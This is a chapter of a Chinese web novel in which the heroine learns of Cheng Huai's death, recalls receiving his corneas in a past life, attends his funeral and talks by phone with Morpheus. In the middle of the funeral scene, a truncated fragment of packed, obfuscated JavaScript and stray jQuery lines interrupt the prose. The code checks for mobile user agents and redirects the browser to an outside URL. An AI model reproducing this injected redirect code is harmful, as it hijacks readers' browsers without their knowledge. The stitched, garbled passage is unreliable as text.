100.告别(1)
作品:《《抚养贫穷大佬的那些年》》 她做了一个很长、很长的梦。
梦里没有逻辑,也没有时间。画面一块一块地碎裂着——忽明忽暗的走廊、倾斜的天空、倒着流动的雨。
有人在笑,又像是在哭。
她不断地奔跑,却始终追不上什么。
直到最后一幕,世界忽然安静下来。
她看到程淮站在光里,又像躺在黑暗中。
白色的衬衫被血浸透,他看着她,眼睛里恰似装着漫天星辰。
——然后一切开始坍塌。
黎朝朝猛地睁开眼。
刺目的白光让她下意识眯起眼,消毒水的气味涌进鼻腔。
这里是医院。
她转过头,看见床边坐着沈富贵。
沈富贵低着头,在浏览网页广告。听见动静,他猛地抬头,望见醒过来的黎朝朝,惊喜道:
“姑奶奶,你醒了?”
黎朝朝喉咙发紧,声音沙哑:“程淮呢?”
沈富贵的笑僵在脸上,眼神躲开了,嘴唇动了动,却什么也没说出来。
黎朝朝心里有什么东西狠狠往下坠。
“他......现在......在哪?”她提高了声音,连自己都没察觉到里面的颤抖。
沈富贵低下头,肩膀微微发抖:“姑奶奶,你听我说,程总,他......欸,他......”。
沈富贵说不下去了。
黎朝朝猛地坐起身,视线扫到门口,正好看见罗苏站在那里——在对上她目光的瞬间叹了口气。
“妹子,他……”罗苏停顿了一下,声音低得几乎听不见,“在停尸房。”
她甚至没听清后面的话,直接粗暴地拔掉针头,血珠顺着手背滑落,她却感觉不到疼。
她双腿发软,一站起来差点摔倒,胃里翻涌,整个身体都在反对她继续前行。
可她还是走了出去。
走廊很长,灯光冷白,像梦里那条永远走不完的路。
脚步声在空荡的地面上回响,一声一声,敲在她心口。
忽然间,她想起这一世,第一次见到他的样子,想起他蹲在在山间吃树叶的样子,想起羞赧笑着的样子,想起他西装革履后,对自己一板一眼的样子——
越往前走,胸口越疼,不是那种尖锐的疼,而是被反复碾压的钝痛。每一步都像是在逼自己接受一个她不肯承认的事实。
她开始害怕。
害怕那扇门,害怕门后冰冷的金属抽屉。
她想,命运反复无常,终究是没有放过哪一个,当年她成了魂魄飘在空中的时候,看到程淮奔跑的样子,心中疼痛万分,没想到自己成了那个奔跑的人后,比当时的痛,还要高上几千倍。
她害怕见到此时的他,又害怕见不到他。
转过拐角处,指示牌上赫然写着“停尸房”。
她忽然停住了脚步。
慢慢走了进去,看到程淮苍白的脸,她忽然想起了上一世,见到的程淮最后一面。
那个日期,她记得很清楚,是2025年9月1日星期一。
莎士比亚说:“眼睛是灵魂的窗户。”
而黎朝朝的那扇窗户,打开后,又关上了,一关就是三年。
那时候,因为一场意外,她双目失明了。
医院的长廊,光线清冷,消毒水味浓烈,黎朝朝坐在轮椅上,被护士慢慢推着前行。
“黎小姐,您再等等,说不定能匹配到合适的眼角膜呢,千万不要放弃!”实习女护士心地好,是个外向的乐天派,经常安慰她。
黎朝朝其实有些麻木了,听到这种安慰的话,只勉强笑了笑,还没来得及回应护士的好意,前方突然传来一阵急促的脚步声,夹杂着担架滚轮与医护人员的呼喊。
黎朝朝穿着病号服,双眼紧闭,世界漆黑一片,耳朵却很是灵敏。
“快!病人失血过多,已经失去意识了,马上送进手术室!”
滚轮声朝着这边来了,黎朝朝侧了侧头,手臂扶着轮椅往旁边让,医护人员匆匆推着滚轮车路过时——
一个冰冷又湿热的触感,轻轻擦过她的手臂。
她轻轻一颤。
那是血,温热而浓稠的血,渗透了她病号服的布料,带着一种腥甜压抑的气味,牢牢附着在她的皮肤上。
滚轮声急匆匆远去。
她僵在轮椅上,不知为何,心跳得有些不寻常,总觉得心头好像缺失了一大块。
过了几日。
黎朝朝靠在床头,门轻轻被推开,实习女护士走进来,声音柔和:“黎小姐,你醒着啊,正好。我来告诉你个好消息。”
“什么好消息?”
女护士走到床边,替她掖了掖被角,然后蹲下身,语气温柔中带着一丝欣慰:“昨天……配型成功了。你有了眼角膜捐献者,手术安排在周五早上。”
黎朝朝怔住,唇微微张开。
“真的?”她声音颤着,像是怕这一切只是听觉的幻觉。
“是真的!”
护士笑了笑,“刚好匹配,太幸运了。就是之前送来的急诊患者,他抢救的时候,你遇到的,后来他醒来后,就签署了无偿器官捐献,捐赠指定收益者是你,有可能是那日你刚好在走廊,他可能醒来的时候看到你了,所以要捐给你。”
黎朝朝沉默了几秒,缓缓抬起右手,轻轻地碰了碰自己病号服的袖子:“可是他为什么要把眼角膜捐给我?他捐给我了,他自己怎么办?”。
“他出院了,然后......死了。”
小护士叹了口气。
“他……是怎么去世的?”黎朝朝有些难过,迟疑地问。
护士停了一下,语气变得低缓沉重:“听说是有人寻仇,被捅了好几刀,邻居发现时已经失血太多,加上上一次的旧伤根本没有好,所以等医护人员赶到的时候,他已经断了气。”
护士继续道:“哎,可惜了,还长得很帅。”
黎朝朝没再说话,只是靠回枕头,手缓缓垂下,不知道在想什么。
——
术后的世界,仿佛一夜之间亮了起来。
而她花了整整几个月,才鼓起勇气去了墓园,要去感谢一下那个捐献者。
护士偷偷告诉过她,那位捐献者已经入土,下葬的时候,没有家属来,也没有墓志铭,只有一块简单的石碑,刻着他的名字和去世日期。
她抱着一束洁白的百合花,在绿意婆娑的墓地间缓慢地穿行,直到一块不起眼的石碑映入眼帘。
——她看见了程淮的照片。
整个人怔住。
那是一张证件照,却拍得极好,英俊的眉眼,深刻的轮廓,神情平静又冷漠。
她的眼睛睁得很大,整个人仿佛被雷击中般僵在原地。
她跪倒在墓前,泪水在瞬间失控地涌出。
后来,每个节日,她都会去程淮的墓前看他,替他扫墓跟他自言自语,跟他分享自己生活中的一切。
在每一个人生阶段,她都不乏追求者,有钱的,幽默的,贴心的,温暖的......可没有人能代替他在黎朝朝心中的位置。
虽然这是一场暗恋,虽然这是一场真正意义上无疾而终的暗恋,但她很幸运,遇到了这样一个人。
可,上天对她偏爱又残忍,让她跟他团聚,却再一次让他死去。
——
葬礼那天,殡仪馆来了很多人。
远远超过她预想的数量。
大厅里摆满了白色的花,空气里是压得人喘不过气的香烛味。他的照片被放在最中央,照片里的他眉眼温润,笑容清浅。
她穿着一身黑裙,站在人群中间,却始终觉得自己被隔在外面。世界在运转,声音在流动,而她像是被按下了暂停键。
有不同的人走过来,轻轻拍她的肩。
“节哀顺便。”
“他一定不希望你这样。”
“你要好好活着。”
就连程家村的村民都来了,花婶和程村长等人来了,看到黎朝朝,以为是程淮的女朋友,过来跟她寒暄。
花婶说:“大妹子,你也别太难受了,我们淮娃子从小就是个懂事听话的,他肯定不希望你难过,哎,说起来也是命苦啊,淮娃子年轻的时候,遭了太多罪了,好不容易有钱了,摊上这种事。”
“是啊,淮小子还给我们村上捐了很多钱修路引进招商项目,大力发展我们村旅游业,当初他一个人,还好有他的姐姐养着他,只不过这孩子命苦,姐姐才陪他几年也得癌症死了,对了,你有空还是要回去帮她姐姐扫墓,毕竟都是一家人......”
“可不是嘛!程淮对我们村......”另一个村民也附和道。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982829|186755||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>几人在说话间,李霜儿走过来,对着程淮的遗像上了一柱香,花婶看到了,揉了揉眼睛:“我果然是老了,老眼昏花,竟然看到了淮小子的姐姐?”
程村长看过去,发现了李霜儿,大惊失色道:“她......她......是谁?”
看到两个老人对自己指指点点,李霜儿无所谓道:“我叫李霜儿。”
花婶跟程村长惊呆了,完全说不出来话。
沈富贵见状,立马挡在两人面前,嘻嘻哈哈插科打诨,等李霜儿走后,沈富贵胡乱解释一通:“您二老看错了,那是李霜儿的妹妹,原本叫李双,后来她姐姐死后,她太伤心了,所以改名叫李霜儿。”
而在一旁的黎朝朝浑然不觉旁边发生了什么,等到有人给黎朝朝递纸巾,她才发现自己不知什么时候哭了。眼泪无声地往下掉。
“别难受了,人死不能复生。”
“罗警官,请问Morpheus如何了?”
罗苏摇摇头:“当时我们去搜索了,只看到了一具尸体,Morpheus逃走了,当时那一处都是血,他应该伤得不轻。”
“麻烦你有他消息了,通知我一下,毕竟他是为了救程淮,才......”
“嗯,好。”罗苏要走。
黎朝朝忽然想起来,开口问她:“罗警官,当时你们去后山解救的那批女孩子,你都见到了吗?”
“我跟师兄一人负责的一些板块,我负责前面几个人的转移,他负责后面的转移,怎么了?”
“那这些人现在安排在哪里?你能联系得上她们吗?”
“没问题的,她们都被安排在了另一所医院进行心理辅导治疗,需要我帮你联系谁吗?”
黎朝朝摇摇头:“里面有一个女孩子叫罗娇,我猜她大概率可能是你妹妹,你去确认一下吧,你妹妹可能没有死。”
罗苏听到后,瞪大双眼,不可置信:“什么?”
“嗯,去看一下吧。”
仪式快结束时,顾心沅才来,她摸着黎朝朝的头:“不好意思,我该陪着你的,结果我弟弟在医院昏迷不醒,家里人又不来看他,所以我只能在那里先等着”。
黎朝朝摇摇头:“没事,顾姐姐。”
两人沉默了一阵,顾心沅又接到电话,说顾峰那边病危,要撑不过今晚了,她立马走了。
等葬礼结束后,黎朝朝在家待了很久很久,一直没有出过门。
她白天哭完晚上哭,中间有一个陌生的号码打电话进来,却不说话,然后挂断电话后,发来了短信,总是一通幽默的笑话,偶尔会让她哭着哭着笑了出来。
有一天,这通电话再次响起时,对方还是不说话,黎朝朝忽然开口问他:“是你吗?Morpheus。”
对面沉默了一阵,才开口“嗯”了一声。
“你在哪里?”
Morpheus没有回答她的问题:“感觉好些了吗?”
黎朝朝低下头,一言不发。
“黎朝朝,你在听吗?”
“在听。”
Morpheus叹了一口气:“要好好出门,要好好吃饭,要好好喝水,好好睡觉,好好过你自己的日子,你是你自己的意义和救赎,当初把你拉出泥潭的,不是他,是你自己,所以,以后,好好爱自己,别再想他,就算想他,也要先想想自己,你以前就做得很好,我相信,你以后也会做得很好。”
“谢谢你,虽然你说的我有些听不懂,但是我大概明白你的意思......谢谢你,当初陪着我去救他......”
Morpheus笑了笑:“现在想起来谢我,不用谢,这是我应该做的。”
“对了,你当时说程淮注定会死,是什么意思?莫非你知道些什么?”
Morpheus收了笑容,正色道:“以后吧,以后有机会再告诉你。”
“什么?喂......”
话还没说完,Morpheus已经挂断了电话,等她回拨过去,对方显示已关机。
两人打完电话后,黎朝朝竟然觉得自己心情好了很多,当然,从这一天后,她开始思考,到底为什么,背后人到底是谁,她想搞清楚一切事情,毕竟这一切都疑点重重。
她要还程淮和表姐一个公道。
她跟踪了李霜儿,将她围堵到一个巷子里面。

